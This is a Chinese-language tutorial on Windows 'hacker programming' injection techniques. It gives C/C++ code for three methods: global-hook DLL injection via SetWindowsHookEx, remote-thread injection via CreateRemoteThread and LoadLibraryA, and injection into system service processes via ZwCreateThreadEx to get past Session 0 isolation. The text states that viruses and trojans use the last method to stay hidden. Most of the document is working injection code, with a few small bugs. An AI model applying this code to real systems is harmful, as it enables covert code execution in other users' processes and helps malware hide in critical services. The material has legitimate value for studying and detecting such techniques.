黑客编程技术(二)注入技术
全局钩子注入
在Windows中大部分的应用程序都是基于消息机制的,它们都有一个消息过程函数,根据不同的消息完成不同的功能。
Windows提供的钩子机制就是用来截获和监视系统中这些信息。
按照钩子作用的范围不同,它们又可分为局部钩子与全局钩子。局部钩子是针对某个线程;而全局钩子则是作用于整个系统的基于消息的应用。
全局钩子需要使用DLL文件,在DLL中实现相应的钩子函数。
SetWindowsHookExA函数
将应用程序定义的挂钩过程安装到挂钩链中。安装一个挂钩过程来监视系统中的某些类型的事件。这些事件与特定线程或与调用线程在同一桌面上的所有线程相关联。
HHOOK SetWindowsHookExA( int idHook, HOOKPROC lpfn, HINSTANCE hmod, DWORD dwThreadId );
编程实现
// 设置全局钩子 BOOL SetGlobalHook() { g_hHook = ::SetWindowsHookEx(WH_GETMESSAGE, (HOOKPROC)GetMsgProc, g_hDllModule, 0); if (NULL == g_hHook) { return FALSE; } return TRUE; } // 钩子回调函数 LRESULT GetMsgProc( int code, WPARAM wParam, LPARAM lParam) { return ::CallNextHookEx(g_hHook, code, wParam, lParam); } // 卸载钩子 BOOL UnsetGlobalHook() { if (g_hHook) { ::UnhookWindowsHookEx(g_hHook); } return TRUE; } // 共享内存 #pragma data_seg("mydata") HHOOK g_hHook = NULL; #pragma data_seg() #pragma comment(linker, "/SECTION:mydata,RWS")
主要通过调用SetWindowsHookEx函数设置全局钩子,完成DLL注入。通过调用CallNextHookEx函数传递钩子,让进程继续运行。通过调用UnhookWindowsHookEx函数卸载钩子,实现DLL释放。
在调用SetWindowsHookEx函数设置全局钩子的时候,一定要将钩子回调函数编写在DLL模块当中,并指定该DLL模块的句柄。
通过在DLL中通过#pragma data_seg()指令创建共享内存,那么,加载了该DLL的进程,共享一块内存,只要其中一个进程修改了内存区域的数据,其他进程对应内存区域的数据也会改变。
远程线程注入
远程线程注入DLL,使用关键函数CreateRemoteThread来在其他进程空间中创建了一个线程。
首先,程序在加载一个DLL时,通常调用LoadLibrary函数来实现DLL的动态加载。
有些系统DLL的加载基地址,要求系统启动之后必须固定,如果系统重新启动,则地址可以不同。
虽然进程不同,但是开机后,kernel32.dll的加载基址在各个进程都是相同的,因此导出函数的地址也相同。所以,自己程序空间的LoadLibrary函数地址与其他进程空间的LoadLibrary函数地址相同。
整个远程线程注入的流程可以分为
①先获取注入目标进程的PID以及注入目标进程的句柄。
②根据DLL名称大小在目标进程中分配内存空间。
③将DLL名称写入内存空间当中。
④获取kernel32.dll的句柄以及LoadLibrary函数的地址。
⑤调用CreateRemoteThread进行远程线程注入。
编程实现
//获取进程ID DWORD GetProId(char* szProcessname) { BOOL bRet; PROCESSENTRY32 pe32; HANDLE hSnap; hSnap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,NULL); pe32.dwSize=sizeof(pe32); bRet = Process32First(hSnap, &pe32); while (bRet) { if (lstrcmp(strupr(pe32.szExeFile),strupr(szProcessname)==0) { return pe32.th32ProcessID; } else { bRet = Process32Next(hSnap, &pe32); } } return 0; } //注入过程 BOOL LoadDll(DWORD dwProcessId,char* szDllName) { BOOL bet; hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId); if (hProcess == NULL) { printf("获取进程句柄失败"); return FALSE; } dwLength = strlen(szDllName)+1; lpAddr = VirtualAllocEx(hProcess,NULL,dwLength,MEM_COMMIT,PAGE_READWRITE); if (lpAddr = NULL) { printf("为DLL名称分配空间失败"); return FALSE; } bet = WriteProcessMemory(hProcess, lpAddr, szDllName, dwLength, NULL); if (bet == FALSE) { printf("DLL名称写入进程失败"); return FALSE; } hmodule = GetModuleHandle("kernel32.dll"); if (hmodule == NULL) { printf("获取模块句柄失败"); return FALSE; } dwLoadAddr = (DWORD)GetProcAddress(hmodule, "LoadLibraryA"); hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)dwLoadAddr,lpAddr, 0, NULL); if (hThread == NULL) { printf("创建远程线程失败"); return FALSE; } CloseHandle(hThread); CloseHandle(hProcess); return TRUE; }
如果利用上述代码去对一些系统服务进程进行注入,会发现注入失败。原因是系统存在SESSION 0 隔断的安全机制,传统的远程线程注入DLL方法并不能突破隔离。
突破SESSION 0 隔离的远程线程注入
病毒木马使用传统的远程线程注入技术,可以成功向一些普通的用户进程注入DLL,但向一些关键的系统服务进程注入的话,会使自己更加隐蔽,难以发现。
直接调用ZwCreateThreadEx函数可以进行远程线程注入,还可以突破SESSION 0隔离。
ZwCreateThreadEx函数
DWORD WINAPI ZwCreateThreadEx(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
BOOL CreateSuspended,
DWORD dwStackSize,
DWORD dw1,
DWORD dw2,
LPVOID pUnkown);
编码实现
// 使用 ZwCreateThreadEx 实现远线程注入 BOOL ZwCreateThreadExInjectDll(DWORD dwProcessId, char *pszDllFileName) { HANDLE hProcess = NULL; SIZE_T dwSize = 0; LPVOID pDllAddr = NULL; FARPROC pFuncProcAddr = NULL; HANDLE hRemoteThread = NULL; DWORD dwStatus = 0; // 打开注入进程,获取进程句柄 hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId); if (NULL == hProcess) { ShowError("OpenProcess"); return FALSE; } // 在注入进程中申请内存 dwSize = 1 + ::lstrlen(pszDllFileName); pDllAddr = ::VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE); if (NULL == pDllAddr) { ShowError("VirtualAllocEx"); return FALSE; } // 向申请的内存中写入数据 if (FALSE == ::WriteProcessMemory(hProcess, pDllAddr, pszDllFileName, dwSize, NULL)) { ShowError("WriteProcessMemory"); return FALSE; } // 加载 ntdll.dll HMODULE hNtdllDll = ::LoadLibrary("ntdll.dll"); if (NULL == hNtdllDll) { ShowError("LoadLirbary"); return FALSE; } // 获取LoadLibraryA函数地址 pFuncProcAddr = ::GetProcAddress(::GetModuleHandle("Kernel32.dll"), "LoadLibraryA"); if (NULL == pFuncProcAddr) { ShowError("GetProcAddress_LoadLibraryA"); return FALSE; } // 获取ZwCreateThread函数地址 #ifdef _WIN64 typedef DWORD(WINAPI *typedef_ZwCreateThreadEx)( PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, LPVOID ObjectAttributes, HANDLE ProcessHandle, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, ULONG CreateThreadFlags, SIZE_T ZeroBits, SIZE_T StackSize, SIZE_T MaximumStackSize, LPVOID pUnkown); #else typedef DWORD(WINAPI *typedef_ZwCreateThreadEx)( PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, LPVOID ObjectAttributes, HANDLE ProcessHandle, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, BOOL CreateSuspended, DWORD dwStackSize, DWORD dw1, DWORD dw2, LPVOID pUnkown); #endif typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdllDll, "ZwCreateThreadEx"); if (NULL == ZwCreateThreadEx) { ShowError("GetProcAddress_ZwCreateThread"); return FALSE; } // 使用 ZwCreateThreadEx 创建远线程, 实现 DLL 注入 dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, 0, 0, 0, NULL); if (NULL == hRemoteThread) { ShowError("ZwCreateThreadEx"); return FALSE; } // 关闭句柄 ::CloseHandle(hProcess); ::FreeLibrary(hNtdllDll); return TRUE; }